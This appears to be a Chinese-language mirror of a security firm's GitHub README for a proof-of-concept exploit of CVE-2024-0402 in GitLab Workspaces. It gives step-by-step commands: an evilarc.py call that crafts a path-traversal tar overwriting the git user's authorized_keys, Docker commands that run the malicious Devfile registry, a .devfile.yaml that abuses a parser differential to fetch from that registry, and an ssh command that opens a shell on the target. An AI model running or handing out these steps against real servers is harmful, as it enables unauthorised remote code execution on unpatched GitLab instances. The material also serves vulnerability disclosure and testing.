doyensec/malicious-devfile-registry

GitHub: doyensec/malicious-devfile-registry

利用 CVE-2024-0402 路径遍历漏洞的恶意 Devfile Registry,通过覆写 authorized_keys 实现 GitLab 远程代码执行。

Stars: 15 | Forks: 5

# 恶意 Devfile Registry 该项目包含一个可用于利用 Gitlab 中 CVE-2024-0402 漏洞的恶意 Devfile Registry。 ## 漏洞利用 索引了一个 `nodejs:2.2.1` stack,用于公开利用 [registry-support library v1.1.0 之前版本](https://github.com/devfile/registry-support/commit/10b01bc136bd082f59b1ac0c91797f4065792d7b)中路径遍历问题的 `archive.tar` 文件。 *tar 位置*:`malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar` 它是使用 [evilarc.py](https://github.com/ptoomey3/evilarc/blob/master/evilarc.py) 创建的,旨在用本仓库 `ssh-keys/` 文件夹下的 SSH 密钥覆盖目标 Gitlab Server 中的 `/var/opt/gitlab/.ssh/authorized_keys`。 ``` python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix ``` 运行后,该 registry 将包含已添加到可获取堆栈中的恶意 *.tar* 文件。 请参阅 `index.json`,其中列出了该 stack 资源: ``` ... "links": { "self": "devfile-catalog/nodejs:2.2.1" }, ... "resources": [ "devfile.yaml", "archive.tar" ], ... ``` ## 复现步骤 配置一个版本 <=16.8.0 的 Gitlab EE 实例。按照文档以及我们专门的 [!exploitable 系列博文](https://blog.doyensec.com/2025/03/18/exploitable-gitlab.html)中的额外说明在其上启用 Workspaces。 准备好后,请按照以下步骤操作: 1. 在此仓库的根目录下运行 `docker build -t devfile-index .` 来构建 registry 容器镜像 2. 运行 `docker run -d -p 5000:5000 --name local-registrypoc registry:2` 来启动一个本地容器 registry,该 registry 将被 Devfile registry 用于存储 stack。**注意:** 您应该根据需要编辑该命令以对其进行公开。对于我们来说,这一切都在本地环境中进行 3. 运行 `docker run --network host devfile-index` 来启动在第一步中构建的恶意 Devfile registry。**注意:** 和之前一样,根据需要编辑运行命令,使其能被 Gitlab 实例访问 4. 以开发者身份通过身份验证登录目标 Gitlab 服务器,然后编辑您控制的仓库中的 `.devfile.yaml`。该 YAML 必须利用解析器差异来允许从恶意 registry 进行获取 ``` schemaVersion: 2.2.0 !binary parent: id: nodejs registryUrl: http://: components: - name: development-environment attributes: gl/inject-editor: true container: image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676" ``` 5. 要在 Gitlab UI 中触发文件写入,只需在编辑后的仓库中启动一个新的 Workspace。 几秒钟后,任意文件写入应会发生,并且 `ssh-keys/pockey.pub` 将被添加到 `git` 用户的 `authorized_keys` 中 6. 您应该能够通过以下命令获得一个不受限制的 `git` shell: ``` ssh -i ssh-keys/pockey git@ ```
标签:CISA项目, CVE-2024-0402, Devfile, Docker, Doyensec, Exploit, GitLab, PoC, Red Team, SSH密钥注入, Workspaces, 内存分配, 安全防御评估, 恶意Devfile注册表, 文件覆盖, 暴力破解, 编程工具, 网络安全, 网络安全审计, 请求拦截, 路径遍历, 远程代码执行, 逆向工具, 隐私保护